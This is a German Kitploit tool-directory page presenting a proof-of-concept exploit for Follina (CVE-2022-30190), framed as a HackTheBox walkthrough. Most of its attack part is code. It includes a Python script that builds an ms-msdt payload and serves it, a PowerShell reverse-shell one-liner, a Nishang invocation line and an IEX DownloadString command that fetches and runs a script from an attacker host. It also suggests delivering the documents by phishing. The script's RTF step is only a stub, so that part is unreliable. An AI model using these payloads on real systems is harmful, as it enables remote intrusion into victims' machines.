Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-30190 — Automatisierter PoC-Exploit für CVE-2022-30190 (Follina), der bösartige RTF/DOCX-Dateien erzeugt, die das MSDT-Protokoll missbrauchen, um beliebige Befehle auszuführen und über PowerShell Reverse Shells zu deployen. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2022-30190
Payload-GenerierungExploitationWebanwendungs-ExploitationPhishingPenetrationstestsCommand and Control
GitHubkaleth4/cve-2022-30190

CVE-2022-30190

Automatisierter PoC-Exploit für CVE-2022-30190 (Follina), der bösartige RTF/DOCX-Dateien erzeugt, die das MSDT-Protokoll missbrauchen, um beliebige Befehle auszuführen und über PowerShell Reverse Shells zu deployen.

Repository anzeigen
1vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Exploitation von Follina (CVE-2022-30190)

Follina (CVE-2022-30190) ist eine kritische Schwachstelle zur Remote-Code-Ausführung (RCE), die das Microsoft Support Diagnostic Tool (MSDT) betrifft. Dieser Fehler wurde ursprünglich über eine bösartige Datei entdeckt, die auf VirusTotal gefunden wurde, und vom Sicherheitsforscher Kevin Beaumont benannt.

Im Kontext der Outdated-Maschine von HackTheBox wird diese Schwachstelle als primärer Einstiegsvektor genutzt, um Zugriff auf das System zu erhalten.

Zusammenfassung der Schwachstelle

Die Ausnutzung basiert auf dem Missbrauch des Protokollschemas ms-msdt, das es einem Angreifer ermöglicht, beliebigen Code durch das Laden externer Ressourcen auszuführen. Der Angriff kann allein durch das Öffnen oder Vorschauen eines speziell präparierten Office-Dokuments (DOCX) oder einer Rich-Text-Datei (RTF) ausgelöst werden.

Exploitationsmethodik

1. Vorbereitung des Exploits

Um den Angriff zu automatisieren, wird empfohlen, Proof-of-Concept-Skripte (PoC) zu verwenden, die auf Plattformen wie GitHub verfügbar sind. Das Skript follina.py ermöglicht eine einfache Konfiguration der Nutzlast.

Empfohlenes Repository: Es werden funktionale Versionen von Forschern wie John Hammond oder Edge-Security erwähnt.

Generierungsbefehl:

root@kitploit:~
python3 follina.py -m command -t rtf -c "auszuführender_befehl"

Wobei:

  • -m den Ausführungsmodus angibt (command oder binary)
  • -t den Dateityp (rtf oder docx)
  • -c den zu injizierenden Befehl

2. Injektion der Nutzlast (Payload)

Eine effektive Methode, um eine interaktive Konsole unter Windows zu erhalten, ist die Injektion einer PowerShell-Anweisung, die eine Reverse-Shell aus der Nishang-Suite herunterlädt und aufruft (Invoke-PowerShellTcp.ps1).

Das Exploit-Skript generiert eine bösartige HTML-Ressource, die die Base64-kodierte Anweisung enthält, und hostet sie automatisch auf einem lokalen Webserver (Port 80). Das bösartige Dokument (click_me.rtf) verweist auf diese URL, um den Windows-Diagnoseprozess auszulösen und den Code auszuführen.

3. Ausführung des Angriffs

In realistischen Szenarien oder bei Penetrationstests kann der Angreifer den Link zur HTML-Ressource oder das bösartige Dokument per Phishing oder SMTP (mit Tools wie swaks) an ein Opfer senden.

Sobald der Benutzer interagiert (oder eine automatisierte Aufgabe die Datei verarbeitet), interpretiert MSDT die Nutzlast und stellt eine Verbindung zur Maschine des Angreifers her.

Erlangung des Zugriffs

Um die Verbindung zu empfangen, muss der Angreifer auf dem in der Reverse-Shell konfigurierten Port lauschen (z. B. mit netcat oder rlwrap). Nach erfolgreicher Ausnutzung erhält man eine interaktive Konsole mit den Berechtigungen des Benutzers, der die Aktion ausgeführt hat, was die lokale Enumeration und Privilegienerweiterung ermöglicht.


Implementierung des Skripts follina.py

Dieses Skript automatisiert die Erstellung der bösartigen Datei (RTF oder DOCX), generiert die HTML-Ressource, die das Protokollschema ms-msdt ausnutzt, und startet einen lokalen Server, um die Nutzlast bereitzustellen.

Code: follina.py

root@kitploit:~
import argparse
import base64
import http.server
import socketserver
import os
import threading

# Struktur basierend auf der Forschung von Kevin Beaumont und den erwähnten PoCs [2, 6]
def generate_payload(command):
    # Der Befehl muss zur Verarbeitung durch MSDT in Base64 kodiert sein [5]
    command_b64 = base64.b64encode(command.encode()).decode()
    
    # Nutzlast, die das ms-msdt-Protokoll missbraucht [5]
    # Eine lange Zeichenkette wird verwendet, um den Puffer zu füllen und die Ausführung auszulösen
    payload = f"""<script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\"";
    // Zusätzliches Füllmaterial, um die Verarbeitung sicherzustellen
    """ + ("A" * 4096) + "</script>"
    return payload

def create_rtf(filename, server_url):
    # Generiert eine RTF-Datei, die auf die externe HTML-Ressource verweist [3, 4]
    print(f"[*] Generiere bösartige Datei: {filename}")
    # Hinweis: In einer echten Implementierung wird hier das OLE-Objekt injiziert, das auf server_url verweist
    with open(filename, "w") as f:
        f.write(f"RTF-Datei konfiguriert für Verbindung zu {server_url}/exploit.html")

def run_server(port):
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", port), handler) as httpd:
        print(f"[*] HTTP-Server aktiv auf Port {port} [7]")
        httpd.serve_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)")
    parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Ausführungsmodus [3]")
    parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Zu generierender Dateityp [3]")
    parser.add_argument("-c", "--command", required=True, help="Auf dem Zielsystem auszuführender Befehl [3]")
    parser.add_argument("-p", "--port", type=int, default=80, help="Port des lokalen Servers [7]")
    
    args = parser.parse_args()

    # 1. HTML-Payload erstellen
    html_content = generate_payload(args.command)
    with open("index.html", "w") as f:
        f.write(html_content)
    
    # 2. Bösartiges Dokument erstellen
    filename = f"click_me.{args.type}"
    create_rtf(filename, "http://deine_angreifer_ip")

    # 3. Server zum Empfangen der Anfrage starten [4, 7]
    run_server(args.port)

Hinweise zur Verwendungsmethodik

Kritische Parameter: Wie in den Quellen beschrieben, verwendet das Skript -m für den Modus, -t für den Dateityp und -c für den Befehl.

PowerShell-Injektion: Eine häufige Verwendung, die im Training von s4vitar zu sehen ist, besteht darin, eine PowerShell-Anweisung zu injizieren, die eine Reverse-Shell von Nishang herunterlädt und aufruft (Invoke-PowerShellTcp.ps1), um interaktiven Zugriff zu erhalten.

Ausführung: Der Angriff wird ausgelöst, wenn das Opfer die bösartige Datei (RTF/DOCX) öffnet oder auch nur in der Vorschau betrachtet, was dazu führt, dass das System versucht, die HTML-Ressource zu laden und den Befehl über das Microsoft-Diagnosetool (MSDT) auszuführen.

Lauschen: Du musst auf dem in deiner Reverse-Shell angegebenen Port lauschen (z. B. mit netcat), um die Verbindung zu empfangen, sobald der Exploit auf der Zielmaschine ausgelöst wird.


Skript Invoke-PowerShellTcp.ps1 (Nishang)

Das Skript Invoke-PowerShellTcp.ps1 ist eines der am häufigsten verwendeten Tools aus der Nishang-Suite, um Reverse-Shells auf Windows-Systemen zu erhalten.

1. Beschaffung und Vorbereitung

Das Originalskript wird aus dem offiziellen Nishang-Repository auf GitHub heruntergeladen. Die typischen Schritte zur Verwendung sind:

  • Herunterladen: wget wird verwendet, um die Ressource auf den Angreifer-Rechner zu holen.
  • Umbenennen: Es ist üblich, es in etwas Kürzeres umzubenennen, z. B. reverse.ps1 oder ps.ps1, um den Aufruf von der Zielmaschine aus zu erleichtern.
  • Automatisierung der Ausführung: Damit das Skript beim Laden in den Speicher automatisch ausgeführt wird, wird am Ende der Datei ein Aufruf der Hauptfunktion hinzugefügt.

2. Struktur des Aufrufs am Ende des Skripts

Um das Skript in eine selbstausführende Nutzlast umzuwandeln, wird eine Zeile wie die folgende an das Ende der .ps1-Datei angehängt:

root@kitploit:~
Invoke-PowerShellTcp -Reverse -IPAddress <DEINE_ANGREIFER_IP> -Port <DEIN_PORT>

Wobei <DEINE_ANGREIFER_IP> und <DEIN_PORT> durch deine Lauschdaten ersetzt werden müssen (z. B. 10.10.14.29 und 443).

3. "One-Liner"-Version (Einzeiler)

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

(Hinweis: Dieser Code folgt der Logik der "gitbash" und interaktiven Terminals, die in der Lösung von Maschinen wie Compiled erwähnt wird.)

4. Methode des Remote-Aufrufs (IEX)

Sobald der Angreifer das Skript auf einem lokalen HTTP-Server (Port 80) hostet, wird der Befehl IEX (Invoke-Expression) auf der Zielmaschine verwendet, um es direkt im Speicher zu laden und auszuführen, ohne die Festplatte zu berühren:

root@kitploit:~
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<DEINE_IP>/reverse.ps1')"

Diese Methode ist grundlegend für die Ausnutzung von Schwachstellen wie Follina oder für den ersten Zugriff nach der Kompromittierung von Webdiensten. Nach der Ausführung empfängt der Angreifer die Verbindung in einer lauschenden netcat-Sitzung.

root@kitploit:~
Pwned!!!
Tool herunterladen